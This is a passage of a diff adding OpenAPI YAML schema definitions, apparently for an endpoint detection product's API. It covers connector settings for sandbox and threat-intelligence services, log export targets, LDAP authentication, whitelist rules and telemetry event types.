+        x-nullable: true
+      user:
+        minLength: 1
+        title: User
+        type: string
+        x-nullable: true
+      yara_alert:
+        default: false
+        title: Yara alert
+        type: boolean
+      yara_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Yara alert level
+        type: string
+    type: object
+  GetCape:
+    properties:
+      api_key:
+        minLength: 1
+        title: Api key
+        type: string
+        x-nullable: true
+      enabled:
+        default: false
+        title: Enabled
+        type: boolean
+      events_limit:
+        default: false
+        title: Events limit
+        type: boolean
+      events_limit_value:
+        minimum: 1
+        title: Events limit value
+        type: integer
+        x-nullable: true
+      hlai_alert:
+        default: false
+        title: Hlai alert
+        type: boolean
+      hlai_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Hlai alert level
+        type: string
+      ioc_alert:
+        default: false
+        title: Ioc alert
+        type: boolean
+      ioc_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Ioc alert level
+        type: string
+      limit_report_date:
+        default: 7
+        minimum: 0
+        title: Limit report date
+        type: integer
+      ransom_alert:
+        default: false
+        title: Ransom alert
+        type: boolean
+      ransom_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Ransom alert level
+        type: string
+      scan_only_sec_events:
+        default: false
+        title: Scan only sec events
+        type: boolean
+      sigma_alert:
+        default: false
+        title: Sigma alert
+        type: boolean
+      sigma_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Sigma alert level
+        type: string
+      skip_signed_microsoft:
+        default: true
+        title: Skip signed microsoft
+        type: boolean
+      skip_signed_third_party:
+        default: true
+        title: Skip signed third party
+        type: boolean
+      status:
+        $ref: '#/definitions/ConfigConnectorStatus'
+      url:
+        minLength: 1
+        title: Url
+        type: string
+        x-nullable: true
+      validate_server_certificate:
+        default: false
+        title: Validate server certificate
+        type: boolean
+      yara_alert:
+        default: false
+        title: Yara alert
+        type: boolean
+      yara_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Yara alert level
+        type: string
+    type: object
+  GetExport:
+    properties:
+      app_name:
+        default: hurukai
+        minLength: 1
+        title: App name
+        type: string
+      enabled:
+        default: false
+        title: Enabled
+        type: boolean
+      exclude_rule_content:
+        default: false
+        title: Exclude rule content
+        type: boolean
+      host:
+        minLength: 1
+        title: Host
+        type: string
+        x-nullable: true
+      logs:
+        default: []
+        items:
+          enum:
+            - agent
+            - agentlog
+            - alert
+            - amsi_scan
+            - auditlog
+            - authentication
+            - bpf
+            - connectionlog
+            - dns_resolution
+            - driverload
+            - eventlog
+            - experimental_alert
+            - file
+            - group
+            - informational_alert
+            - injectedthread
+            - investigation
+            - kube_pod_event
+            - library_load
+            - named_pipe
+            - network
+            - network_listen
+            - powershell
+            - process
+            - process_access
+            - process_duplicate_handle
+            - process_ptrace
+            - process_tamper
+            - raw_device_access
+            - raw_socket_creation
+            - registry
+            - remotethread
+            - resource
+            - scheduled_task
+            - threat
+            - url_request
+            - usb_activity
+            - user
+            - win32k_get_async_key_state
+            - win32k_register_raw_input_devices
+            - win32k_set_windows_hook_ex
+            - windows_service
+            - wmi_event
+          type: string
+        type: array
+        x-nullable: true
+      port:
+        maximum: 65535
+        minimum: 1
+        title: Port
+        type: integer
+        x-nullable: true
+      protocol:
+        enum:
+          - ssl-tcp
+          - tcp
+          - udp
+        title: Protocol
+        type: string
+        x-nullable: true
+      rfc:
+        enum:
+          - rfc3164
+          - rfc5424
+        title: Rfc
+        type: string
+        x-nullable: true
+      source_host:
+        default: hurukai
+        minLength: 1
+        title: Source host
+        type: string
+      ssl_cacert:
+        minLength: 1
+        title: Ssl cacert
+        type: string
+        x-nullable: true
+      ssl_cert:
+        minLength: 1
+        title: Ssl cert
+        type: string
+        x-nullable: true
+      ssl_key:
+        minLength: 1
+        title: Ssl key
+        type: string
+        x-nullable: true
+      ssl_verify:
+        default: false
+        title: Ssl verify
+        type: boolean
+      status:
+        $ref: '#/definitions/ConfigConnectorStatus'
+      structured_data:
+        minLength: 1
+        title: Structured data
+        type: string
+        x-nullable: true
+    type: object
+  GetExportElastic:
+    properties:
+      basic_auth_password:
+        minLength: 1
+        title: Basic auth password
+        type: string
+        x-nullable: true
+      basic_auth_username:
+        minLength: 1
+        title: Basic auth username
+        type: string
+        x-nullable: true
+      enabled:
+        default: false
+        title: Enabled
+        type: boolean
+      hmac_header:
+        minLength: 1
+        title: Hmac header
+        type: string
+        x-nullable: true
+      hmac_prefix:
+        minLength: 1
+        title: Hmac prefix
+        type: string
+        x-nullable: true
+      hmac_secret:
+        minLength: 1
+        title: Hmac secret
+        type: string
+        x-nullable: true
+      http_header_name:
+        minLength: 1
+        title: Http header name
+        type: string
+        x-nullable: true
+      http_header_value:
+        minLength: 1
+        title: Http header value
+        type: string
+        x-nullable: true
+      logs:
+        default: []
+        items:
+          enum:
+            - alert
+            - amsi_scan
+            - driverload
+            - eventlog
+            - file
+            - group_event
+            - injectedthread
+            - library_load
+            - named_pipe
+            - network_listen
+            - powershell
+            - process
+            - process_access
+            - process_tamper
+            - raw_device_access
+            - registry
+            - remotethread
+            - url_request
+            - usb_activity
+            - user_event
+            - wmi_event
+          type: string
+        type: array
+        x-nullable: true
+      ssl_verify:
+        default: false
+        title: Ssl verify
+        type: boolean
+      status:
+        $ref: '#/definitions/ConfigConnectorStatus'
+      url:
+        minLength: 1
+        title: Url
+        type: string
+        x-nullable: true
+      use_basic_auth:
+        default: false
+        title: Use basic auth
+        type: boolean
+      use_hmac:
+        default: false
+        title: Use hmac
+        type: boolean
+      use_http_header:
+        default: false
+        title: Use http header
+        type: boolean
+    type: object
+  GetExportS3:
+    properties:
+      access_key:
+        minLength: 1
+        title: Access key
+        type: string
+        x-nullable: true
+      bucket:
+        minLength: 1
+        title: Bucket
+        type: string
+        x-nullable: true
+      enabled:
+        default: false
+        title: Enabled
+        type: boolean
+      logs:
+        default: []
+        items:
+          enum:
+            - alert
+            - authentication
+            - dns_resolution
+            - experimental_alert
+            - file
+            - informational_alert
+            - injectedthread
+            - library_load
+            - network
+            - network_listen
+            - process
+            - raw_socket_creation
+            - remotethread
+            - url_request
+          type: string
+        type: array
+        x-nullable: true
+      object_prefix:
+        minLength: 1
+        title: Object prefix
+        type: string
+        x-nullable: true
+      region:
+        minLength: 1
+        title: Region
+        type: string
+        x-nullable: true
+      secret_key:
+        minLength: 1
+        title: Secret key
+        type: string
+        x-nullable: true
+      ssl_cacert:
+        minLength: 1
+        title: Ssl cacert
+        type: string
+        x-nullable: true
+      ssl_cert:
+        minLength: 1
+        title: Ssl cert
+        type: string
+        x-nullable: true
+      ssl_key:
+        minLength: 1
+        title: Ssl key
+        type: string
+        x-nullable: true
+      ssl_verify:
+        default: false
+        title: Ssl verify
+        type: boolean
+      status:
+        $ref: '#/definitions/ConfigConnectorStatus'
+      url:
+        minLength: 1
+        title: Url
+        type: string
+        x-nullable: true
+    type: object
+  GetExportSecops:
+    properties:
+      api_key:
+        minLength: 1
+        title: Api key
+        type: string
+        x-nullable: true
+      enabled:
+        default: false
+        title: Enabled
+        type: boolean
+      logs:
+        default: []
+        items:
+          enum:
+            - alert
+            - authentication
+            - dns_resolution
+            - experimental_alert
+            - file
+            - informational_alert
+            - injectedthread
+            - library_load
+            - network
+            - network_listen
+            - process
+            - raw_socket_creation
+            - remotethread
+            - url_request
+          type: string
+        type: array
+        x-nullable: true
+      ssl_verify:
+        default: false
+        title: Ssl verify
+        type: boolean
+      status:
+        $ref: '#/definitions/ConfigConnectorStatus'
+      url:
+        minLength: 1
+        title: Url
+        type: string
+        x-nullable: true
+      webhook_access_key:
+        minLength: 1
+        title: Webhook access key
+        type: string
+        x-nullable: true
+    type: object
+  GetExportSplunk:
+    properties:
+      enabled:
+        default: false
+        title: Enabled
+        type: boolean
+      logs:
+        default: []
+        items:
+          enum:
+            - alert
+            - authentication
+            - dns_resolution
+            - experimental_alert
+            - file
+            - informational_alert
+            - injectedthread
+            - library_load
+            - network
+            - network_listen
+            - process
+            - raw_socket_creation
+            - remotethread
+            - url_request
+          type: string
+        type: array
+        x-nullable: true
+      ssl_verify:
+        default: false
+        title: Ssl verify
+        type: boolean
+      status:
+        $ref: '#/definitions/ConfigConnectorStatus'
+      token:
+        minLength: 1
+        title: Token
+        type: string
+        x-nullable: true
+      url:
+        minLength: 1
+        title: Url
+        type: string
+        x-nullable: true
+    type: object
+  GetGlimps:
+    properties:
+      api_key:
+        minLength: 1
+        title: Api key
+        type: string
+        x-nullable: true
+      enabled:
+        default: false
+        title: Enabled
+        type: boolean
+      events_limit:
+        default: false
+        title: Events limit
+        type: boolean
+      events_limit_value:
+        minimum: 1
+        title: Events limit value
+        type: integer
+        x-nullable: true
+      hlai_alert:
+        default: false
+        title: Hlai alert
+        type: boolean
+      hlai_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Hlai alert level
+        type: string
+      ioc_alert:
+        default: false
+        title: Ioc alert
+        type: boolean
+      ioc_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Ioc alert level
+        type: string
+      limit_report_date:
+        default: 7
+        minimum: 0
+        title: Limit report date
+        type: integer
+      ransom_alert:
+        default: false
+        title: Ransom alert
+        type: boolean
+      ransom_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Ransom alert level
+        type: string
+      scan_only_sec_events:
+        default: false
+        title: Scan only sec events
+        type: boolean
+      sigma_alert:
+        default: false
+        title: Sigma alert
+        type: boolean
+      sigma_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Sigma alert level
+        type: string
+      skip_signed_microsoft:
+        default: true
+        title: Skip signed microsoft
+        type: boolean
+      skip_signed_third_party:
+        default: true
+        title: Skip signed third party
+        type: boolean
+      status:
+        $ref: '#/definitions/ConfigConnectorStatus'
+      url:
+        minLength: 1
+        title: Url
+        type: string
+        x-nullable: true
+      validate_server_certificate:
+        default: false
+        title: Validate server certificate
+        type: boolean
+      yara_alert:
+        default: false
+        title: Yara alert
+        type: boolean
+      yara_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Yara alert level
+        type: string
+    type: object
+  GetHives:
+    properties:
+      bSystemHives:
+        title: Bsystemhives
+        type: boolean
+      bUsersHives:
+        title: Busershives
+        type: boolean
+      bWantSlowPlugins:
+        title: Bwantslowplugins
+        type: boolean
+    required:
+      - bSystemHives
+      - bUsersHives
+      - bWantSlowPlugins
+    type: object
+  GetIrma:
+    properties:
+      auto_query:
+        default: false
+        title: Auto query
+        type: boolean
+      enabled:
+        default: false
+        title: Enabled
+        type: boolean
+      irma_url_api:
+        minLength: 1
+        title: Irma url api
+        type: string
+        x-nullable: true
+      skip_signed_microsoft:
+        default: true
+        title: Skip signed microsoft
+        type: boolean
+      skip_signed_third_party:
+        default: true
+        title: Skip signed third party
+        type: boolean
+      status:
+        $ref: '#/definitions/ConfigConnectorStatus'
+    type: object
+  GetLDAPAuth:
+    properties:
+      active_directory_domain:
+        title: Active directory domain
+        type: string
+        x-nullable: true
+      base_dn:
+        minLength: 1
+        title: Base dn
+        type: string
+        x-nullable: true
+      ca_certifications:
+        minLength: 1
+        title: Ca certifications
+        type: string
+        x-nullable: true
+      client_private_key:
+        minLength: 1
+        title: Client private key
+        type: string
+        x-nullable: true
+      client_public_key:
+        minLength: 1
+        title: Client public key
+        type: string
+        x-nullable: true
+      default_group:
+        format: uuid
+        title: Default group
+        type: string
+        x-nullable: true
+      enabled:
+        default: false
+        title: Enabled
+        type: boolean
+      host:
+        minLength: 1
+        title: Host
+        type: string
+        x-nullable: true
+      port:
+        maximum: 65535
+        minimum: 1
+        title: Port
+        type: integer
+        x-nullable: true
+      search_account_password:
+        minLength: 1
+        title: Search account password
+        type: string
+        x-nullable: true
+      search_account_username:
+        minLength: 1
+        title: Search account username
+        type: string
+        x-nullable: true
+      status:
+        $ref: '#/definitions/ConfigConnectorStatus'
+      type:
+        default: active_directory
+        minLength: 1
+        title: Type
+        type: string
+      use_client_side_certs:
+        default: false
+        title: Use client side certs
+        type: boolean
+      use_tls:
+        default: false
+        title: Use tls
+        type: boolean
+      user_field_id:
+        default: sAMAccountName
+        minLength: 1
+        title: User field id
+        type: string
+      user_object_class:
+        default: person
+        minLength: 1
+        title: User object class
+        type: string
+      validate_server_certificate:
+        title: Validate server certificate
+        type: boolean
+    required:
+      - validate_server_certificate
+    type: object
+  GetMaintenanceNotice:
+    properties:
+      description:
+        minLength: 1
+        readOnly: true
+        title: Description
+        type: string
+        x-nullable: true
+      end_date:
+        format: date-time
+        readOnly: true
+        title: End date
+        type: string
+      title:
+        minLength: 1
+        readOnly: true
+        title: Title
+        type: string
+        x-nullable: true
+    type: object
+  GetMisp:
+    properties:
+      enabled:
+        default: false
+        title: Enabled
+        type: boolean
+      ids_only:
+        default: false
+        title: Ids only
+        type: boolean
+      key:
+        minLength: 1
+        title: Key
+        type: string
+        x-nullable: true
+      poll_interval:
+        default: 15
+        minimum: 0
+        title: Poll interval
+        type: integer
+      pull_ioc:
+        default: false
+        title: Pull ioc
+        type: boolean
+      pull_sigma:
+        default: false
+        title: Pull sigma
+        type: boolean
+      pull_whitelist:
+        default: true
+        title: Pull whitelist
+        type: boolean
+      pull_yara:
+        default: false
+        title: Pull yara
+        type: boolean
+      sigma_override:
+        default: false
+        title: Sigma override
+        type: boolean
+      status:
+        $ref: '#/definitions/ConfigConnectorStatus'
+      target_ioc_source:
+        default: misp_ioc
+        minLength: 1
+        title: Target ioc source
+        type: string
+      target_sigma_source:
+        default: misp_sigma
+        minLength: 1
+        title: Target sigma source
+        type: string
+      target_yara_source:
+        default: misp_yara
+        minLength: 1
+        title: Target yara source
+        type: string
+      tls_verify:
+        default: false
+        title: Tls verify
+        type: boolean
+      url:
+        minLength: 1
+        title: Url
+        type: string
+        x-nullable: true
+    type: object
+  GetOrion:
+    properties:
+      api_key:
+        minLength: 1
+        title: Api key
+        type: string
+        x-nullable: true
+      enabled:
+        default: false
+        title: Enabled
+        type: boolean
+      events_limit:
+        default: false
+        title: Events limit
+        type: boolean
+      events_limit_value:
+        minimum: 1
+        title: Events limit value
+        type: integer
+        x-nullable: true
+      hlai_alert:
+        default: false
+        title: Hlai alert
+        type: boolean
+      hlai_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Hlai alert level
+        type: string
+      ioc_alert:
+        default: false
+        title: Ioc alert
+        type: boolean
+      ioc_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Ioc alert level
+        type: string
+      limit_report_date:
+        default: 7
+        minimum: 0
+        title: Limit report date
+        type: integer
+      minimal_level:
+        default: severe
+        enum:
+          - high
+          - low
+          - medium
+          - safe
+          - severe
+        title: Minimal level
+        type: string
+      ransom_alert:
+        default: false
+        title: Ransom alert
+        type: boolean
+      ransom_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Ransom alert level
+        type: string
+      scan_only_sec_events:
+        default: false
+        title: Scan only sec events
+        type: boolean
+      sigma_alert:
+        default: false
+        title: Sigma alert
+        type: boolean
+      sigma_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Sigma alert level
+        type: string
+      skip_signed_microsoft:
+        default: true
+        title: Skip signed microsoft
+        type: boolean
+      skip_signed_third_party:
+        default: true
+        title: Skip signed third party
+        type: boolean
+      status:
+        $ref: '#/definitions/ConfigConnectorStatus'
+      url:
+        minLength: 1
+        title: Url
+        type: string
+        x-nullable: true
+      validate_server_certificate:
+        default: false
+        title: Validate server certificate
+        type: boolean
+      visibility:
+        default: private
+        enum:
+          - group
+          - private
+          - public
+        title: Visibility
+        type: string
+      yara_alert:
+        default: false
+        title: Yara alert
+        type: boolean
+      yara_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Yara alert level
+        type: string
+    type: object
+  GetProxy:
+    properties:
+      enabled:
+        default: false
+        title: Enabled
+        type: boolean
+      http:
+        minLength: 1
+        title: Http
+        type: string
+        x-nullable: true
+      https:
+        minLength: 1
+        title: Https
+        type: string
+        x-nullable: true
+      status:
+        $ref: '#/definitions/ConfigConnectorStatus'
+    type: object
+  GetThehive:
+    properties:
+      admin_api_key:
+        minLength: 1
+        title: Admin api key
+        type: string
+        x-nullable: true
+      api_key:
+        minLength: 1
+        title: Api key
+        type: string
+        x-nullable: true
+      enabled:
+        default: false
+        title: Enabled
+        type: boolean
+      skip_signed_microsoft:
+        default: true
+        title: Skip signed microsoft
+        type: boolean
+      skip_signed_third_party:
+        default: true
+        title: Skip signed third party
+        type: boolean
+      status:
+        $ref: '#/definitions/ConfigConnectorStatus'
+      url:
+        minLength: 1
+        title: Url
+        type: string
+        x-nullable: true
+      validate_server_certificate:
+        default: false
+        title: Validate server certificate
+        type: boolean
+    type: object
+  GetVirusTotal:
+    properties:
+      api_key:
+        minLength: 1
+        title: Api key
+        type: string
+        x-nullable: true
+      auto_query:
+        default: false
+        title: Auto query
+        type: boolean
+      enabled:
+        default: false
+        title: Enabled
+        type: boolean
+      events_limit:
+        default: false
+        title: Events limit
+        type: boolean
+      events_limit_value:
+        minimum: 1
+        title: Events limit value
+        type: integer
+        x-nullable: true
+      hlai_alert:
+        default: false
+        title: Hlai alert
+        type: boolean
+      hlai_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Hlai alert level
+        type: string
+      ioc_alert:
+        default: false
+        title: Ioc alert
+        type: boolean
+      ioc_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Ioc alert level
+        type: string
+      limit_report_date:
+        default: 7
+        minimum: 0
+        title: Limit report date
+        type: integer
+      ransom_alert:
+        default: false
+        title: Ransom alert
+        type: boolean
+      ransom_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Ransom alert level
+        type: string
+      scan_only_sec_events:
+        default: false
+        title: Scan only sec events
+        type: boolean
+      sigma_alert:
+        default: false
+        title: Sigma alert
+        type: boolean
+      sigma_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Sigma alert level
+        type: string
+      skip_signed_microsoft:
+        default: true
+        title: Skip signed microsoft
+        type: boolean
+      skip_signed_third_party:
+        default: true
+        title: Skip signed third party
+        type: boolean
+      status:
+        $ref: '#/definitions/ConfigConnectorStatus'
+      yara_alert:
+        default: false
+        title: Yara alert
+        type: boolean
+      yara_alert_level:
+        default: medium
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Yara alert level
+        type: string
+    type: object
+  GetWhitelistRule:
+    properties:
+      comment:
+        minLength: 1
+        readOnly: true
+        title: Comment
+        type: string
+        x-nullable: true
+      correlation_embedded_rule_id:
+        format: uuid
+        title: Correlation embedded rule id
+        type: string
+        x-nullable: true
+      correlation_rule_id:
+        format: uuid
+        title: Correlation rule id
+        type: string
+        x-nullable: true
+      correlation_rule_name:
+        minLength: 1
+        readOnly: true
+        title: Correlation rule name
+        type: string
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      criteria:
+        items:
+          $ref: '#/definitions/GetWhitelistRuleCriteria'
+        type: array
+      criteria_list:
+        items:
+          minLength: 1
+          type: string
+        readOnly: true
+        type: array
+      enabled:
+        readOnly: true
+        title: Enabled
+        type: boolean
+      expiration_date:
+        format: date-time
+        title: Expiration date
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      is_applying:
+        default: false
+        title: Is applying
+        type: boolean
+      is_reverted:
+        readOnly: true
+        title: Is reverted
+        type: boolean
+      last_disabled_by:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_retroactivity:
+        format: date-time
+        readOnly: true
+        title: Last retroactivity
+        type: string
+        x-nullable: true
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      origin_stack_id:
+        minLength: 1
+        readOnly: true
+        title: Origin stack id
+        type: string
+        x-nullable: true
+      orphan:
+        default: false
+        readOnly: true
+        title: Orphan
+        type: boolean
+      provided_by_hlab:
+        readOnly: true
+        title: Provided by hlab
+        type: boolean
+      sigma_rule_id:
+        title: Sigma rule id
+        type: string
+        x-nullable: true
+      sigma_rule_name:
+        minLength: 1
+        readOnly: true
+        title: Sigma rule name
+        type: string
+      target:
+        enum:
+          - all
+          - cape
+          - correlation
+          - glimps
+          - hlai
+          - hlaiscripts
+          - hurukaiav
+          - ioc
+          - kernelguard
+          - orion
+          - ransom
+          - selfprotection
+          - sidewatch
+          - sigma
+          - telemetry_amsi_scan
+          - telemetry_authentication
+          - telemetry_bpf
+          - telemetry_dns_resolution
+          - telemetry_driver_load
+          - telemetry_etw_ti_ke_insert_queue_apc
+          - telemetry_etw_ti_nt_allocate_virtual_memory
+          - telemetry_etw_ti_nt_map_view_of_section
+          - telemetry_etw_ti_nt_protect_virtual_memory
+          - telemetry_etw_ti_nt_read_virtual_memory
+          - telemetry_etw_ti_nt_resume_process
+          - telemetry_etw_ti_nt_resume_thread
+          - telemetry_etw_ti_nt_set_context_thread
+          - telemetry_etw_ti_nt_suspend_process
+          - telemetry_etw_ti_nt_suspend_thread
+          - telemetry_etw_ti_nt_write_virtual_memory
+          - telemetry_eventlog
+          - telemetry_file
+          - telemetry_group_event
+          - telemetry_injected_thread
+          - telemetry_kube_pod_event
+          - telemetry_library_load
+          - telemetry_named_pipe
+          - telemetry_network
+          - telemetry_network_listen
+          - telemetry_powershell
+          - telemetry_process
+          - telemetry_process_access
+          - telemetry_process_duplicate_handle
+          - telemetry_process_ptrace
+          - telemetry_process_tamper
+          - telemetry_raw_device_access
+          - telemetry_raw_socket_creation
+          - telemetry_registry
+          - telemetry_remote_thread
+          - telemetry_scheduled_task
+          - telemetry_url_request
+          - telemetry_usb_activity
+          - telemetry_user_event
+          - telemetry_win32k_get_async_key_state
+          - telemetry_win32k_register_raw_input_devices
+          - telemetry_win32k_set_windows_hook_ex
+          - telemetry_windows_service
+          - telemetry_wmi_event
+          - vt
+          - yara
+          - yara_memory
+        title: Target
+        type: string
+      usage_count_last_7_days:
+        readOnly: true
+        title: Usage count last 7 days
+        type: integer
+    required:
+      - criteria
+      - last_modifier
+    type: object
+  GetWhitelistRuleCriteria:
+    properties:
+      case_insensitive:
+        default: false
+        title: Case insensitive
+        type: boolean
+      field:
+        minLength: 1
+        title: Field
+        type: string
+      id:
+        format: uuid
+        title: Id
+        type: string
+      operator:
+        enum:
+          - contains
+          - eq
+          - ncontains
+          - neq
+          - nwildcard
+          - regex
+          - wildcard
+        title: Operator
+        type: string
+      sub_criteria:
+        items:
+          $ref: '#/definitions/WhitelistRuleSubCriterion'
+        type: array
+        x-nullable: true
+      value:
+        title: Value
+        type: string
+    required:
+      - field
+    type: object
+  GlimpsScan:
+    properties:
+      external_link:
+        minLength: 1
+        title: External link
+        type: string
+      is_malware:
+        title: Is malware
+        type: boolean
+      malwares:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      scan_date:
+        format: date-time
+        title: Scan date
+        type: string
+      score:
+        title: Score
+        type: integer
+    required:
+      - external_link
+      - is_malware
+      - malwares
+      - scan_date
+      - score
+    type: object
+  Group:
+    properties:
+      agent_count:
+        readOnly: true
+        title: Agent count
+        type: integer
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      display_name:
+        minLength: 1
+        title: Display name
+        type: string
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      read_only:
+        readOnly: true
+        title: Read only
+        type: boolean
+      roles:
+        items:
+          $ref: '#/definitions/BasicRole'
+        readOnly: true
+        type: array
+      source:
+        enum:
+          - active_directory
+          - entra_id
+          - user
+        readOnly: true
+        title: Source
+        type: string
+      source_name:
+        minLength: 1
+        readOnly: true
+        title: Source name
+        type: string
+        x-nullable: true
+    required:
+      - name
+    type: object
+  GroupEvent:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/InnerAgent'
+      group_id:
+        minLength: 1
+        title: Group id
+        type: string
+      group_name:
+        minLength: 1
+        title: Group name
+        type: string
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      member_id:
+        minLength: 1
+        title: Member id
+        type: string
+      member_name:
+        minLength: 1
+        title: Member name
+        type: string
+      operation_type:
+        minLength: 1
+        title: Operation type
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      source_domain_name:
+        minLength: 1
+        title: Source domain name
+        type: string
+      source_user_id:
+        minLength: 1
+        title: Source user id
+        type: string
+      source_user_name:
+        minLength: 1
+        title: Source user name
+        type: string
+      target_domain_name:
+        minLength: 1
+        title: Target domain name
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      windows:
+        $ref: '#/definitions/GroupEventWindows'
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - agent
+      - group_id
+      - group_name
+      - groups
+      - id
+      - log_type
+      - member_id
+      - member_name
+      - operation_type
+      - source_domain_name
+      - source_user_id
+      - source_user_name
+      - target_domain_name
+      - tenant
+      - windows
+    type: object
+  GroupEventWindows:
+    properties:
+      new_group_type:
+        minLength: 1
+        title: New group type
+        type: string
+      old_group_type:
+        minLength: 1
+        title: Old group type
+        type: string
+      privilege_list:
+        minLength: 1
+        title: Privilege list
+        type: string
+      sam_account_name:
+        minLength: 1
+        title: Sam account name
+        type: string
+      sid_history:
+        minLength: 1
+        title: Sid history
+        type: string
+      source_logon_id:
+        title: Source logon id
+        type: integer
+    required:
+      - new_group_type
+      - old_group_type
+      - privilege_list
+      - sam_account_name
+      - sid_history
+      - source_logon_id
+    type: object
+  GroupsOIDCProvider:
+    properties:
+      group:
+        maxLength: 256
+        minLength: 1
+        title: Group
+        type: string
+      priority:
+        maximum: 2147483647
+        minimum: 1
+        title: Priority
+        type: integer
+      role:
+        title: Role
+        type: string
+        x-nullable: true
+    required:
+      - group
+      - priority
+    type: object
+    x-nullable: true
+  Handle:
+    properties:
+      access_mask:
+        title: Access mask
+        type: integer
+      object_name:
+        minLength: 1
+        title: Object name
+        type: string
+      object_type:
+        minLength: 1
+        title: Object type
+        type: string
+      value:
+        title: Value
+        type: integer
+    required:
+      - access_mask
+      - object_name
+      - object_type
+      - value
+    type: object
+  Hashes:
+    properties:
+      imphash:
+        minLength: 1
+        title: Imphash
+        type: string
+      md5:
+        minLength: 1
+        title: Md5
+        type: string
+      sha1:
+        minLength: 1
+        title: Sha1
+        type: string
+      sha256:
+        minLength: 1
+        title: Sha256
+        type: string
+    required:
+      - imphash
+      - md5
+      - sha1
+      - sha256
+    type: object
+  HashesWithoutImphash:
+    properties:
+      md5:
+        minLength: 1
+        title: Md5
+        type: string
+      sha1:
+        minLength: 1
+        title: Sha1
+        type: string
+      sha256:
+        minLength: 1
+        title: Sha256
+        type: string
+    required:
+      - md5
+      - sha1
+      - sha256
+    type: object
+  Hibou:
+    properties:
+      enabled:
+        default: false
+        title: Enabled
+        type: boolean
+      experimental:
+        default: true
+        title: Experimental
+        type: boolean
+      minimal_level:
+        default: critical
+        enum:
+          - critical
+          - disabled
+          - high
+          - low
+          - medium
+        title: Minimal level
+        type: string
+      skip_signed_microsoft:
+        default: true
+        title: Skip signed microsoft
+        type: boolean
+      skip_signed_third_party:
+        default: true
+        title: Skip signed third party
+        type: boolean
+    type: object
+  HibouCharacteristic:
+    properties:
+      data:
+        minLength: 1
+        title: Data
+        type: string
+      description:
+        minLength: 1
+        title: Description
+        type: string
+      identifier:
+        minLength: 1
+        title: Identifier
+        type: string
+      label:
+        minLength: 1
+        title: Label
+        type: string
+      type:
+        minLength: 1
+        title: Type
+        type: string
+      value:
+        title: Value
+        type: number
+    required:
+      - data
+      - description
+      - identifier
+      - label
+      - type
+      - value
+    type: object
+  HibouScan:
+    properties:
+      characteristics:
+        items:
+          $ref: '#/definitions/HibouCharacteristic'
+        type: array
+      score:
+        title: Score
+        type: number
+      version:
+        minLength: 1
+        title: Version
+        type: string
+    required:
+      - characteristics
+      - score
+      - version
+    type: object
+  HighlightFeature:
+    properties:
+      creation_date:
+        format: date
+        title: Creation date
+        type: string
+      description:
+        minLength: 1
+        title: Description
+        type: string
+      id:
+        readOnly: true
+        title: ID
+        type: integer
+      more_detail_url:
+        minLength: 1
+        title: More detail url
+        type: string
+        x-nullable: true
+      picture_url:
+        minLength: 1
+        title: Picture url
+        type: string
+        x-nullable: true
+      release:
+        minLength: 1
+        title: Release
+        type: string
+      slug:
+        format: slug
+        maxLength: 50
+        minLength: 1
+        pattern: ^[-a-zA-Z0-9_]+$
+        title: Slug
+        type: string
+      title:
+        minLength: 1
+        title: Title
+        type: string
+    required:
+      - creation_date
+      - description
+      - release
+      - slug
+      - title
+    type: object
+  HistoryRecord:
+    properties:
+      action:
+        enum:
+          - add_comment
+          - level_update
+          - status_update
+          - threat_closed
